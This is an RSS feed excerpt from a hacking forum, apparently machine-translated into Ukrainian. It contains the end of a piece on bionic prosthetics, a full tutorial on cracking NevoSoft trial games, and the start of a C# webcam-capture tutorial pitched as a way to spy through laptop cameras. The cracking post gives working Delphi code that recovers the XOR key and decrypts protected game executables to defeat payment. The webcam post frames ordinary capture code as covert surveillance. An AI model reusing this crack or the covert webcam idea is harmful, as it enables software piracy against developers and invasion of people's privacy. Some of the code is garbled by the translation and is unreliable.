						&lt;p&gt;Перший метод застосовується в i-LIMB. Ось як це працює: людина напружує певні м&#039;язи; підключені до них датчики сприймають електричні сигнали, які змушують м&#039;язову тканину скорочуватися (міоелектричних імпульси, якщо називати речі своїми іменами); а датчики в свою чергу, передають команди протезів. Більш досконала версія цієї системи розробляється в лабораторії Тодда куіка в Чиказькому інституті реабілітації і називається &amp;quot;спрямованої м&#039;язової реіннерваціі&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Підхід куіка увазі використання власної нервової системи людини: нерви, які до травми йшли до ампутованим кінцівкам, &amp;quot;підключають&amp;quot; до м&#039;язів грудей. Оскільки раніше ці нерви контролювали руку, мозок продовжує думати, що вони все ще роблять те ж саме. Ну а оскільки м&#039;язи грудей влаштовані так, що-б багато рухатися, датчикам простіше приймати міоелектричних імпульси саме від них. Отже, коли мозок активізує певний нерв, м&#039;язи грудей скорочуються і посилають протезам виразний електричний сигнал. &amp;quot;Я просто думаю про те, як рухаю своєю рукою, і вона мене слухається&amp;quot;, - розповідає один з пацієнтів куіка, якому встановили Luke Arm.&lt;/p&gt;
						&lt;p&gt;Однак головна мета подібних досліджень - створення нейрокомпьютерной інтерфейсу (МКІ), перші прототипи которогоуже зараз проходять тестування на людях. Імплантати BrainGate виробництва компанії Cyberkinetics допомагають декільком пацієнтам управляти своїми кінцівками силою думки. Кевін Уорвік наочно довів життєздатність цієї концепції, взявши під контроль роботизовану руку за допомогою імплантату BrainGate, підключеного до нервової системи. А раз мозок тепер здатний давати команди біонічним органам, то було б непогано, щоб цей зв&#039;язок мала двосторонній характер. Тоді ми б не тільки могли наказувати кінцівкам рухатися швидше або повільніше, повертати вліво і вправо, але також брали б сигнали, що йдуть у зворотному напрямку. Це дозволило б &amp;quot;відчувати&amp;quot; поверхню під ногами і знати, коли потрібно припинити стискати руку в рукостисканні.&lt;/p&gt;
						&lt;p&gt;Передача імпульсів у мозок - це фактично завантаження інформації. При такому погляді на речі перед вченими відкриваються воістину безмежні перспективи. &amp;quot;Ми поки ще далекі від того, щоб закачувати дані прямо в мозок і наповнювати голову знаннями, як це робили герої&amp;quot; Матриці &amp;quot;, - говорить Десні Тан з Microsoft, - але я з нетерпінням чекаю, коли ми почнемо це робити. Ось чому наша компанія інвестує в нейроінженерние проекти вже сьогодні &amp;quot;. Енді травня мріє приблизно про те ж: він з упевненістю дивиться в майбутнє і бачить той день, коли &amp;quot;біочіпи допоможуть нам стати універсальними інформаційними системами&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Навчившись покращувати звичайні людські функції (такі як біг, підйом і перенесення предметів, здатність бачити і чути), вчені займуться апгрейдом органів почуттів і створенням нових можливостей. На практиці це втілиться в інфрачервоному або ультразвуковому баченні, підключенні мозку до GPS, а також прямому уявному доступі до так званих хмарним комп&#039;ютерних систем.&lt;/p&gt;
						&lt;p&gt;До речі, ми ж навіть не торкнулися теми генної інженерії та нанотехнологій, які дозволять створювати неймовірно маленькі самокопіюються пристрої, такі як робот на основі ДНК, розроблений в Нью-Йоркському університеті.&lt;/p&gt;
						&lt;p&gt;А ви чули про респіроціта, якого винайшов Роберт Фрайтас з американського Інституту молекулярної технології? Це Біоніческій аналог червоного кров&#039;яного тільця - еритроцита. Наноробот респіроціт здатний переносити в 236 разів більше кисню, ніж звичайна кров&#039;яна клітина, тому з такою &amp;quot;кров&#039;ю&amp;quot; ви більше ніколи не відчуєте втому. &amp;quot;Можливо, респіроціти з&#039;являться вже в другій половині 20-х років нинішнього століття, - вважає Фрайтас, - а нанороботи отримають широке застосування в медицині в 2030-х&amp;quot;.&lt;/p&gt;
						&lt;p&gt;У такому утопічному майбутньому ми перетворимося на складні інформаційні системи з надможливостями, а сьогоднішні «здорові» люди будуть здаватися нам неповноцінними. Однак це може призвести і до неприємних наслідків. Можливо, знадобляться правові механізми впливу на &amp;quot;улучшенцев&amp;quot;, покликані не допустити їх домінування над заляканими войовничими &amp;quot;нормальний&amp;quot;. Хоча стривайте ... це ж сценарій &amp;quot;Людей Ікс&amp;quot;. Стало бути, можна сподіватися, що все обійдеться ...&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:28:13 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=28#p28</guid>
		</item>
		<item>
			<title>Казуальне розтин в польових умовах: злом ігор невософт</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=27#p27</link>
			<description>&lt;p&gt;Казуальні гра - комп&#039;ютерна гра, призначена для широкого кола користувачів. Сам термін &amp;quot;казуальна&amp;quot; походить від латинського слова &amp;quot;casualis&amp;quot;, що означає &amp;quot;випадковий&amp;quot;. Таким чином, казуальна гра - це гра, в яку грають від випадку до випадку, мимохідь, найчастіше, щоб якось вбити час. Подібними іграшками є творіння компанії невософт. Тільки ось дають вони пограти всього годину, а потім просять грошей. Сьогодні ми з цим розберемося!&lt;br /&gt;Трохи теорії&lt;/p&gt;
						&lt;p&gt;Взагалі, казуальні ігри за своїм рівнем складності годяться практично для будь-якої категорії користувачів комп&#039;ютера. Найчастіше час на проходження таких ігор невелика, а тому вони добре підходять для тих, хто не може приділяти грі багато часу. Компанія невософт є одним з провідних розробників казуальних ігор в світі (і, зокрема, російською мовою). Здавалося б, така серйозна компанія повинна приділяти підвищену увагу захисту свого програмного забезпечення, для її злому повинно знадобитися багато сил і часу. Сьогодні ми спростуємо цей факт і покажемо, як відучити їх дітище клянчити наші з вами кровні гроші. Розробники компанії невософт тримають під своїм чуйним наглядом тисячі ігор, при цьому дають народу випробувати їх дітище протягом однієї години. Після 60 хвилин, коли людина тільки входить у смак, висвічується не дуже приємна табличка, яка просить грошей. Так уже склалося, що російська людина не любить платити за софт, але розробники ігор іноді просто не залишають нам вибору. Для певної гри потрібно знайти свій кряк, на пошуки якого іноді йдуть дорогоцінні хвилини і години, а якщо гра нова, то ймовірність знайти його зводиться до нуля.&lt;br /&gt;Підготовка операційного столу&lt;/p&gt;
						&lt;p&gt;В якості піддослідного для нашого дослідження, якого ми будемо відучувати від &amp;quot;шкідливої звички&amp;quot;, я вибрав гру &amp;quot;Півцарства за принцесу&amp;quot;. Мій вибір припав на неї, тому що саме вона й наштовхнула мене на думку про дослідження захисту ігор від невософт. Пізніше з&#039;ясувалося, що принцип захисту у інших ігор цього виробника абсолютно ідентичний.&lt;/p&gt;
						&lt;p&gt;Так склалося, що на момент вивчення під моєю рукою не було жодної програми для злому: ні дизассемблера, ні отладчика; був тільки набір програм, що стоять на машині практично у кожного користувача. У цей набір увійшли Total Commander і &amp;quot;Диспетчер завдань&amp;quot; - саме цими програмами ми і будемо користуватися в момент вивчення гри. Здавалося б, що можна зробити за допомогою цих програм? Виявилося, що при наявності допитливого розуму і крапельки уважності цього цілком достатньо, щоб змусити гру працювати без обмеження за часом. В якості платформи для написання &amp;quot;таблетки&amp;quot; я вибрав Delphi 7. Всі інструменти розкладені на операційному столі, пацієнт міцно прив&#039;язаний - можна приступати до дослідження. А тепер про все по порядку ...&lt;br /&gt;Скальпель, тампон, спирт, ще спирт, огірок ... Пом&#039;янімо!&lt;/p&gt;
						&lt;p&gt;Встановлюємо і запускаємо гру. Бачимо гарне віконце, в якому красується час, відведений нам для її тестування. Сміливо тикаємо мишкою по кнопці &amp;quot;грати&amp;quot; і починаємо спостерігати, що коїться в системі. Звернемо гру на час і заглянемо в &amp;quot;Диспетчер завдань&amp;quot;. Погляд падає на невідомий нам процес з розширенням *. tmp. Що ж, давай глянемо, що це за фрукт, і як він тут опинився. Тикаємо в властивості процесу і вчитуємося в інформацію, яку нам видали. Місце розташування файлу говорить про те, що ми на вірному шляху. Відкриваємо папку з цим файлом і перейменовуємо його в exe&#039;шнік (до речі, файл є прихованим, так що не забудь поставити галочку на &amp;quot;відображати приховані файли&amp;quot; у відповідних властивостях). Тикаємо в нього два рази лівою кнопкою миші і бачимо гарну картину - гра запускається, причому ніяких вікон для реєстрації не вискакує. Здавалося б, мета нашого експерименту досягнуто, гра більше не вимагає реєстрації і працює без обмеження за часом. Але цей спосіб занадто нудний і незручний. Тому будемо шукати спосіб спростити ці дії.&lt;/p&gt;
						&lt;p&gt;Розтин показав, що пацієнт помер від розтину&lt;/p&gt;
						&lt;p&gt;Основна наша мета - навчиться відучувати іграшки NevoSoft&#039;a від грошей у два кліка, тому почнемо розбиратися, звідки береться той злощасний файл з розширенням *. tmp. Не бійся, читати тонни мануалів не доведеться, головне - мати трішки терпіння і крапельку уважності. Шукати довго не доводиться, бо в папці з файлом *. tmp лежить незрозуміло навіщо потрібний файл nsgame.dat, який за розміром збігається з нашою іграшкою з точністю до байта. Можна припустити, що ланчер просто перейменовує nsgame.dat в *. tmp і запускає його. Але в процесі перевірки нашого припущення тебе чекає великий облом - нас посилають куди подалі, повідомляючи про те, що програма не є виконуваним файлом.&lt;/p&gt;
						&lt;p&gt;Турбуватися не будемо, а замість цього беремо лопату більше, та гостріше і починаємо копати глибше. Перше, що спадає на думку - порівняти ці два файли і подивитися, в чому ж їх відмінність. Відкриємо Total Commander і скористаємося внутрішньої утилітою для порівняння файлів. Результати порівняння дуже цікаві, тому що спостерігається гарна картина: з періодичністю в 2 байти йде відмінність і збіг. У наявності криптографія виконуваного файлу, але як провести зворотний процес, адже ми вирішили відмовитися від отладчиков і дизассемблеров? Відповідь дуже проста - потрібно згадати алгоритми шифрування. Найпростішим і одним з найефективніших (при правильному використанні) криптоалгоритмів є так зване XOR-шифрування. Нагадаю, у цьому методі побайтно проводиться булева операція XOR. Першою змінної є байт для шифрування, а другий - ключ. Але перед нами тут же постає ще одне питання - де взяти ключ для дешифрування? Відповідь проста. Потрібно лише згадати булеву алгебру, і ключ нам дадуть у відкритому вигляді.&lt;/p&gt;
						&lt;p&gt;Crypted = uncrypted XOR key;&lt;br /&gt;Key = crypted XOR uncrypted&lt;/p&gt;
						&lt;p&gt;Спробуємо дістати заповітний ключик. Для цього проведемо побітно операцію XOR між виконуваним файлом і тимчасовим файлом. За ідеєю, на виході отримаємо ключ для дешифрування, за допомогою якого можна буде клацати гри як горішки. XOR&#039;іть будемо тільки перші 256 байт, так як мало хто в наш час використовує ключі більшої довжини.&lt;/p&gt;
						&lt;p&gt;var&lt;br /&gt;i, o: TFileStream;&lt;br /&gt;bi, bo: byte;&lt;br /&gt;x, ii, cc: integer;&lt;br /&gt;begin&lt;br /&gt;if open.Execute then&lt;br /&gt;begin&lt;br /&gt;SetCurrentDir (&#039;C: \ Ігри від NevoSoft \ Peacecraft \&lt;br /&gt;game &#039;);&lt;br /&gt;/ / Переходимо в папку з грою&lt;br /&gt;if not (fileexists (&#039;nsgame.dat&#039;)) then exit;&lt;br /&gt;i: = TFileStream.Create (&#039;nsgame.dat&#039;, fmOpenRead);&lt;br /&gt;o: = TFileStream.Create (open.FileName, fmOpenRead);&lt;br /&gt;x: = 0; ii: = 0; cc: = 0;&lt;br /&gt;/ / Перебираємо 256 байт&lt;br /&gt;for x: = 0 to 255 do&lt;br /&gt;begin&lt;br /&gt;i.read (bi, 1);&lt;br /&gt;o.read (bo, 1);&lt;br /&gt;key.Caption: = format (&#039;% s% x&#039;, [key.Caption, (bi&lt;br /&gt;xor bo)]);&lt;br /&gt;inc (cc);&lt;br /&gt;if cc mod 8 = 0 then key.Caption: = key.&lt;br /&gt;Caption + # 13 # 10;&lt;br /&gt;end;&lt;br /&gt;i.Free;&lt;br /&gt;o.Free;&lt;br /&gt;end;&lt;/p&gt;
						&lt;p&gt;Як виявилося, ключ, що використовується для шифрування, не дуже-то великий: довжина його складає всього 4 байта. Забігаючи вперед, скажу, що для кожної гри від компанії невософт існує унікальний ключ шифрування. Як же його обчислити?!&lt;/p&gt;
						&lt;p&gt;Заглиблюватися в нетрі не варто. Насправді все дуже просто - для отримання ключа беремо від сигнатури PE-заголовка перші 2 байта і проводимо операцію XOR. У багатьох виникне питання: чому потрібно проводити операцію XOR тільки на 2 байти, адже довжина ключа - 4 байти? Відповідь проста - 3-й і 4-й байти в ключі завжди рівні $ 00.&lt;/p&gt;
						&lt;p&gt;const&lt;br /&gt;ckey = # 77 # 90; / / сигнатура PE-файлу&lt;br /&gt;begin&lt;br /&gt;i: = TFileStream.Create (FileName, fmOpenRead);&lt;br /&gt;for x: = 1 to 2 do&lt;br /&gt;begin&lt;br /&gt;i.Read (tmp, 1);&lt;br /&gt;tmp: = ord (ckey [x]) xor tmp;&lt;br /&gt;key: = key + chr (tmp);&lt;br /&gt;end;&lt;br /&gt;key: = key + # 0 # 0;&lt;/p&gt;
						&lt;p&gt;Тепер в наших руках є заповітний ключ-монтування, і можна сміливо приступати до написання самої програми для злому.&lt;br /&gt;Ми писали, ми писали, наші пальчики втомилися ...&lt;/p&gt;
						&lt;p&gt;Ми вже маємо достатньо інформації для написання універсального зломщика. Що ж, не будемо даремно гаяти час. Приступимо ...&lt;/p&gt;
						&lt;p&gt;procedure wrap (filename: string);&lt;br /&gt;var&lt;br /&gt;i, o: TFileStream;&lt;br /&gt;bi, bo, tmp: byte;&lt;br /&gt;x, ii: integer;&lt;br /&gt;key: string [4];&lt;br /&gt;buffer: TMemoryStream;&lt;br /&gt;const&lt;br /&gt;ckey = # 77 # 90; / / сигнатура PE-заголовка&lt;br /&gt;begin&lt;br /&gt;if not (fileexists (filename)) then exit; / / невелика перевірка ніколи не зашкодить =)&lt;br /&gt;i: = TFileStream.Create (filename, fmOpenRead); / / відкриваємо на читання піддослідного&lt;br /&gt;o: = TFileStream.Create (ChangeFileExt (filename,&lt;br /&gt;&#039;. Exe&#039;), fmCreate); / / і на запис новий файл&lt;br /&gt;buffer: = TMemoryStream.Create;&lt;br /&gt;for x: = 1 to 2 do / / обчислюємо крипто-ключ&lt;br /&gt;begin&lt;br /&gt;i.Read (tmp, 1);&lt;br /&gt;tmp: = ord (ckey [x]) xor tmp;&lt;br /&gt;key: = key + chr (tmp);&lt;br /&gt;end;&lt;br /&gt;key: = key + # 0 # 0;&lt;br /&gt;i.Seek (0, soFromBeginning);&lt;br /&gt;x: = 0; ii: = 0;&lt;br /&gt;while i.Position &amp;lt;i.Size do / / дешіфруем файл з вказаним&lt;br /&gt;ключем&lt;br /&gt;begin&lt;br /&gt;inc (ii);&lt;br /&gt;i.Read (bi, 1);&lt;br /&gt;bo: = bi xor ord (key [ii]);&lt;br /&gt;buffer.Write (bo, 1);&lt;br /&gt;inc (x);&lt;br /&gt;if ii = 4 then ii: = 0;&lt;br /&gt;end;&lt;br /&gt;o.Write (Buffer.Memory ^, Buffer.size);&lt;br /&gt;i.Free;&lt;br /&gt;o.Free;&lt;br /&gt;buffer.Free;&lt;br /&gt;showmessage (&#039;Wrapping done&#039;);&lt;br /&gt;end;&lt;/p&gt;
						&lt;p&gt;Звучить барабанна дріб - запускаємо отриманий файл ... Але чомусь нам знову пропонують пройти у бік лісу. Що, де, коли ми пропустили?! Адже начебто всі правильно зробили! Але не будемо турбуватися. Взявши в руки чергову баночку пива, продовжимо вивчати піддослідного і спробуємо знайти наш промах. Знову відкриваємо Total Commander і проводимо роботу над помилками, порівнюючи нормальну гру з файлом, який у нас вийшов. На перший погляд файли однакові з точністю до одного байта. Але варто тільки натиснути кнопку &amp;quot;знайти перше різниця&amp;quot;, Total Commander повідомляє, що, починаючи з зсуву $ 43000, файли не збігаються.&lt;/p&gt;
						&lt;p&gt;Отже, можна припустити, що шифрується не весь файл, а тільки перші $ 43000 байт. Тому беремо в руки молоток і зубило і виправляємо помилки в нашому коді, змусивши дешифрувати тільки перші $ 43000 байт.&lt;/p&gt;
						&lt;p&gt;while i.Position &amp;lt;i.Size do&lt;br /&gt;begin&lt;br /&gt;inc (ii);&lt;br /&gt;i.Read (bi, 1);&lt;br /&gt;if x &amp;lt;$ 43000 then&lt;br /&gt;begin&lt;br /&gt;bo: = bi xor ord (key [ii]);&lt;br /&gt;buffer.Write (bo, 1);&lt;br /&gt;end&lt;br /&gt;else&lt;br /&gt;buffer.Write (bi, 1);&lt;br /&gt;inc (x);&lt;br /&gt;if ii = 4 then ii: = 0;&lt;br /&gt;end;&lt;/p&gt;
						&lt;p&gt;Запускаємо наш &amp;quot;зломщик&amp;quot; (втім, ці дії складно назвати зломом, так як ми не модифікуємо жодного байта, безпосередньо відноситься до гри, а лише відновлюємо вихідне додаток шляхом дешифрування). Пару секунд очікування; запускаємо гру. Нашій радості немає меж, тому що тепер гра абсолютно незалежна від NevoSoft&#039;овского ланчера, який канючить у нас гроші. Тепер можна розслабитися і, відкинувшись у крісло, насолоджуватися улюбленою іграшкою.&lt;br /&gt;Висновок&lt;/p&gt;
						&lt;p&gt;Відмінність хакера від звичайної людини полягає не тільки у високому рівні знань IT-технологій, а в першу чергу в його допитливості і здатності знаходити нестандартний підхід до звичайних справ. Дослідження, яке ми зараз зробили, доводить ще один факт - для злому не завжди потрібно годинами сидіти в відладчик, вишукуючи заповітні байти, які потрібно пофіксити, іноді можна обійтися і тими програмами, які у нас завжди під рукою. За сим прощаюсь і рекомендую завжди дотримуватися ст. 272-274 КК РФ - і буде тобі щастя! :)&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:27:09 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=27#p27</guid>
		</item>
		<item>
			<title>Підглядає через веб-камеру: вчимося використовувати вбудовану веб-каме</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=26#p26</link>
			<description>&lt;p&gt;Деякі люди побоюються, що вбудована в їх ноутбуки вебкамера може за ними підглядати. Вони побоюються цього настільки серйозно, що часом навіть заклеюють ізоляційною стрічкою її недремне око. Роблять вони це не дарма. Ми розповімо, як можна програмно опанувати вбудованої в ноутбук веб-камерою і використовувати її функціонал як в мирних, так і не дуже цілях.&lt;br /&gt;Починаємо реалізацію: перші прикрі засмучення&lt;/p&gt;
						&lt;p&gt;Я був дуже здивований і засмучений, коли дізнався, що у великому і могутньому. NET Framework геть відсутня можливість простої взаємодії з веб-камерами. У четвертій версії ситуація покращилась (для SilverLight-проектів точно з&#039;явилися відповідні класи), але протестувати я їх не встиг, оскільки приклад для даної статті я почав писати ще до офіційного виходу VS2010 і 4-го. NET&#039;a.&lt;/p&gt;
						&lt;p&gt;Практично зневірившись, я щільно засів в Гуглі. Результати пошуку по рунету мене не надихнули - все, що я знайшов - це посилання на MSDN і технологію DirectDraw. Я навіть спробував накидати простенький прімерчік, але через відсутність досвіду роботи з DirectDraw мене збагнув облом. У мене вийшло зібрати зовсім простеньке додаток, але я так і не зміг виловити в ньому все глюки.&lt;/p&gt;
						&lt;p&gt;Ще більше зневірившись, я взявся шерстити ресурси наших європейських колег. Проштудіювавши кілька десятків посилань, я зміг нарити багато смакоти. Серед них були всілякі приклади і невеликі статейки (американці не люблять багато писати). Мені навіть вдалося знайти робочий приклад на основі DirectDraw, але, коли я побачив код - жахнувся. Розібратися в ньому було важко. Тому я вирішив з ним не морочитися, а спробувати знайти спосіб простіше. Не встиг я розпрощатися з прикладом на DirectDraw, як на очі мені попався ще один. Автор прикладу закоділ цілу бібліотеку для роботи з веб-камерами та іншими пристроями відеозахвату, використовуючи технологію VFW (Video For Windows).&lt;/p&gt;
						&lt;p&gt;Шкода, що проект автора (я про бібліотеку) був максимально кастрований. Все, що дозволяла зробити бібліотека - вивести зображення з веб-камери. Ні захоплення окремих кадрів, ні запису відео та інших корисних нам фіч не було.&lt;/p&gt;
						&lt;p&gt;І тим не менше, моя підсвідомість рішуче сказала мені, що цей проект і є те, що я шукав. Не встиг я швидким поглядом пробігтися за його кодом, як побачив імена знайомих win-повідомлень і не менш знайомих назв WinAPI функцій. Колись давним-давно мені доводилося писати додаток для роботи з веб-камерою на Delphi. Тоді я і зіткнувся з цими функціями вперше.&lt;/p&gt;
						&lt;p&gt;Подивившись сорци, я вирішив написати свою версію бібліотеки і забезпечити її потрібним функціоналом.&lt;br /&gt;Взвод, готовність № 1&lt;/p&gt;
						&lt;p&gt;Цілком можливо, що в одному компі / ноут може бути кілька веб-камер. За прикладом далеко ходити не треба. Мені по роботі часто доводиться організовувати простенькі відеоконференції. Зазвичай в них беруть участь дві особи. Кожного з учасників знімає окрема камера. Самі камери підключені до мого компу. Коли я починаю зйомку, то вибираю в програмі для роботи з відеокамерами потрібну в даний момент камеру. Раз вже ми вирішили взяти камеру під контроль, то зобов&#039;язані розібратися, як отримувати список встановлених пристроїв відеозахоплення і вибрати те, з яким будемо працювати в справжній момент.&lt;/p&gt;
						&lt;p&gt;Для вирішення цієї нехитрої завдання в WindowsAPI передбачена функція capGetDriverDescription (). Вона приймає п&#039;ять параметрів:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. wDriverIndex - індекс драйвера відеозахоплення. Значення індексу може варіюватися від 0 до 9;&lt;br /&gt;&amp;#160; &amp;#160;2. lpszName - покажчик на буфер, що містить відповідне ім&#039;я драйвера;&lt;br /&gt;&amp;#160; &amp;#160;3. cbName - розмір (в байтах) буфери lpszName;&lt;br /&gt;&amp;#160; &amp;#160;4. lpszVer - покажчик на буфер, що містить опис певного драйвера;&lt;br /&gt;&amp;#160; &amp;#160;5. cbVer - розмір буфера (у байтах), в якому зберігається опис драйвера.&lt;/p&gt;
						&lt;p&gt;У випадку успішного виконання, функція поверне TRUE. Опис функції у нас є, тепер подивимося, як визначити її в C #. Робиться це так:&lt;/p&gt;
						&lt;p&gt;[DllImport (&amp;quot;avicap32.dll&amp;quot;)]&lt;br /&gt;protected static extern bool capGetDriverDescriptionA (short wDriverIndex, [MarshalAs (UnmanagedType.VBByRefStr)] ref String lpszName, int cbName, [MarshalAs (UnmanagedType.VBByRefStr)] ref String lpszVer, int cbVer);&lt;/p&gt;
						&lt;p&gt;Зверни увагу, що перед тим, як вказати ім&#039;я підключається функції, в обов&#039;язковому порядку потрібно написати ім&#039;я DLL, в якій вона визначена. У нашому випадку це avicap32.dll.&lt;/p&gt;
						&lt;p&gt;Так, функція імпортована, тепер можна написати клас, в якому вона буде використовуватися. Весь код класу для отримання списку пристроїв я наводити не буду, покажу лише код ключового методу:&lt;/p&gt;
						&lt;p&gt;public static Device [] GetAllCapturesDevices ()&lt;br /&gt;{&lt;br /&gt;String dName = &amp;quot;&amp;quot;. PadRight (100);&lt;br /&gt;String dVersion = &amp;quot;&amp;quot;. PadRight (100);&lt;/p&gt;
						&lt;p&gt;for (short i = 0; i &amp;lt;10; i)&lt;br /&gt;{&lt;br /&gt;if (capGetDriverDescriptionA (i,&lt;br /&gt;ref dName, 100, ref dVersion,&lt;br /&gt;100))&lt;br /&gt;{&lt;br /&gt;Device d = new Device (i);&lt;br /&gt;d.Name = dName.Trim ();&lt;br /&gt;d.Version = dVersion.Trim ();&lt;/p&gt;
						&lt;p&gt;devices.Add (d);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;return (Device []) devices.ToArray&lt;br /&gt;(Typeof (Device));&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Код виглядає простіше нікуди. Найцікавіше місце в ньому - цикл, у якому відбувається виклик згаданої вище функції capGetDriverDescription. З MSDN ми знаємо, що індекс (перший параметр функції capGetDriverDescription ()) може варіюватися від 0 до 9, тому ми цілеспрямовано запускаємо цикл в цьому діапазоні. Результатом виконання методу буде масив класів Device (цей клас я визначив самостійно, дивися відповідні вихідні коди).&lt;/p&gt;
						&lt;p&gt;З отриманням списку пристроїв розібралися, тепер подбаємо про відображення відеопотоку з камери. Тут нам послужить хорошу службу функція capCreateCaptureWindow (), призначена для створення вікна захоплення.&lt;/p&gt;
						&lt;p&gt;Трохи забігаючи вперед, скажу, що подальші дії з камерою будуть відбуватися шляхом банальної відправки повідомлень вікна захоплення. Так, саме так, доведеться скористатися до болю знайомою windows-програмісту (і приколіст) функцією SendMessage ().&lt;/p&gt;
						&lt;p&gt;Тепер придивимося уважніше до функції capCreateCaptureWindow (). Їй потрібно передати шість аргументів:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. lpszWindowName - нуль-термінальна рядок, що містить ім&#039;я вікна захоплення;&lt;br /&gt;&amp;#160; &amp;#160;2. dwStyle - стиль вікна;&lt;br /&gt;&amp;#160; &amp;#160;3. x - координата X;&lt;br /&gt;&amp;#160; &amp;#160;4. y - координата Y;&lt;br /&gt;&amp;#160; &amp;#160;5. nWidth - ширина вікна;&lt;br /&gt;&amp;#160; &amp;#160;6. nHeight - висота вікна;&lt;br /&gt;&amp;#160; &amp;#160;7. hWnd - handle батьківського вікна;&lt;br /&gt;&amp;#160; &amp;#160;8. nID - ідентифікатор вікна.&lt;/p&gt;
						&lt;p&gt;Результатом виконання функції буде handle створеного вікна або NULL в разі помилки. Оскільки ця функція також належить до WinAPI, то її знову-таки потрібно імпортувати. Код імпортування наводити не буду, оскільки він практично ідентичний тому, що я писав для функції capGetDriverDescription (). Краще відразу поглянемо на процес ініціалізації камери:&lt;/p&gt;
						&lt;p&gt;deviceHandle = capCreateCaptureWindowA (ref deviceIndex, WS_VISIBLE | WS_CHILD, 0, 0, windowWidth, windowHeight, handle, 0);&lt;/p&gt;
						&lt;p&gt;if (SendMessage (deviceHandle, WM_CAP_DRIVER_CONNECT, this.index, 0)&amp;gt; 0)&lt;br /&gt;{&lt;br /&gt;SendMessage (deviceHandle, WM_CAP_SET_SCALE, -1, 0);&lt;br /&gt;SendMessage (deviceHandle, WM_CAP_SET_PREVIEWRATE, 0x42, 0);&lt;br /&gt;SendMessage (deviceHandle, WM_CAP_SET_PREVIEW, -1, 0);&lt;/p&gt;
						&lt;p&gt;SetWindowPos (deviceHandle, 1, 0, 0, windowWidth, windowHeight, 6);&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;У цьому коді відразу після створення вікна виробляється спроба відправки повідомлення WM_CAP_DRIVER_CONNECT. Відмінний від нуля результат виконання функції розповість нам про її успішність.&lt;/p&gt;
						&lt;p&gt;Тепер уявімо, що сьогодні боги на нашій стороні і зробимо негайну відправку декількох повідомлень: WM_CAP_SET_SCALE, WM_CAP_SET_PREVIEWRATE, WM_CAP_SET_PREVIEW. На жаль, як і у випадку з функціями, C # нічого не знає про існування цих констант. Тобі знову доведеться визначити їх самостійно. Список всіх необхідних констант з коментарями я привів нижче.&lt;/p&gt;
						&lt;p&gt;/ / Користувача повідомлення&lt;br /&gt;private const int WM_CAP = 0x400;&lt;br /&gt;/ / З&#039;єднання з драйвером пристрою відеозахоплення&lt;br /&gt;private const int WM_CAP_DRIVER_CONNECT = 0x40a;&lt;br /&gt;/ / Розрив зв&#039;язку з драйвером відеозахоплення&lt;br /&gt;private const int WM_CAP_DRIVER_DISCONNECT = 0x40b;&lt;br /&gt;/ / Копіювання кадру в буффер обміну&lt;br /&gt;private const int WM_CAP_EDIT_COPY = 0x41e;&lt;br /&gt;/ / Включення / відключення режиму предпосмотра&lt;br /&gt;private const int WM_CAP_SET_PREVIEW = 0x432;&lt;br /&gt;/ / Включення / відключення режиму оверлей&lt;br /&gt;private const int WM_CAP_SET_OVERLAY = 0x433;&lt;br /&gt;/ / Швидкість previewrate&lt;br /&gt;private const int WM_CAP_SET_PREVIEWRATE = 0x434;&lt;br /&gt;/ / Включення / відключення масштабування&lt;br /&gt;private const int WM_CAP_SET_SCALE = 0x435;&lt;br /&gt;private const int WS_CHILD = 0x40000000;&lt;br /&gt;private const int WS_VISIBLE = 0x10000000;&lt;br /&gt;/ / Установка callback-функції для preview&lt;br /&gt;private const int WM_CAP_SET_CALLBACK_FRAME = 0x405;&lt;br /&gt;/ / Отримання одиночного фрейму з драйвера відеозахоплення&lt;br /&gt;private const int WM_CAP_GRAB_FRAME = 0x43c;&lt;br /&gt;/ / Збереження кадру з камери в файл&lt;br /&gt;private const int WM_CAP_SAVEDIB = 0x419;&lt;/p&gt;
						&lt;p&gt;Подальший опис класу для роботи з веб-камерою я опущу. Каркас я розглянув, а з усім іншим ти легко розберешся шляхом розкурювання мого добре прокоментованого вихідних даних. Єдине, що я не хотів би залишати за кадром - це приклад використання бібліотеки.&lt;/p&gt;
						&lt;p&gt;Усього в бібліотеці я реалізував (точніше, дописав) пару методів: GetAllDevices (вже розглядали), GetDevice (одержання драйвера відеозахоплення за індексом), ShowWindow (відображення зображення з веб-камери), GetFrame (захоплення окремого кадру в графічний файл) і GetCapture (захоплення відеопотоку).&lt;/p&gt;
						&lt;p&gt;В якості демонстрації працездатності виготовленої ліби я накидав невеликий додаток. На формі я розташував один компонент ComboBox (використовується для зберігання списку наявних пристроїв відеозахоплення) і кілька кнопок - &amp;quot;Оновити&amp;quot;, &amp;quot;Пуск&amp;quot;, &amp;quot;Зупинити&amp;quot; і &amp;quot;Скріншот&amp;quot;. Ах так, ще на моїй формі рясніє компонент Image. Його я застосовую для відображення відео з камери.&lt;/p&gt;
						&lt;p&gt;Розбір польотів почнемо з кнопки &amp;quot;Оновити&amp;quot;. За її натисненню я отримую список всіх встановлених пристроїв відеозахвату. Начинка цього обробника події:&lt;/p&gt;
						&lt;p&gt;Device [] devices = DeviceManager.GetAllDevices ();&lt;br /&gt;foreach (Device d in devices)&lt;br /&gt;{&lt;br /&gt;cmbDevices.Items.Add (d);&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Правда, усе просто? Розроблена нами бібліотека бере на себе всі чорну роботу і нам залишається лише насолоджуватися об&#039;єктно-орієнтованим програмуванням. Ще простіше виглядає код для включення відображення відеопотоку з камери:&lt;/p&gt;
						&lt;p&gt;Device selectedDevice = DeviceManager.GetDevice (cmbDevices.SelectedIndex);&lt;br /&gt;selectedDevice.ShowWindow (this.picCapture);&lt;/p&gt;
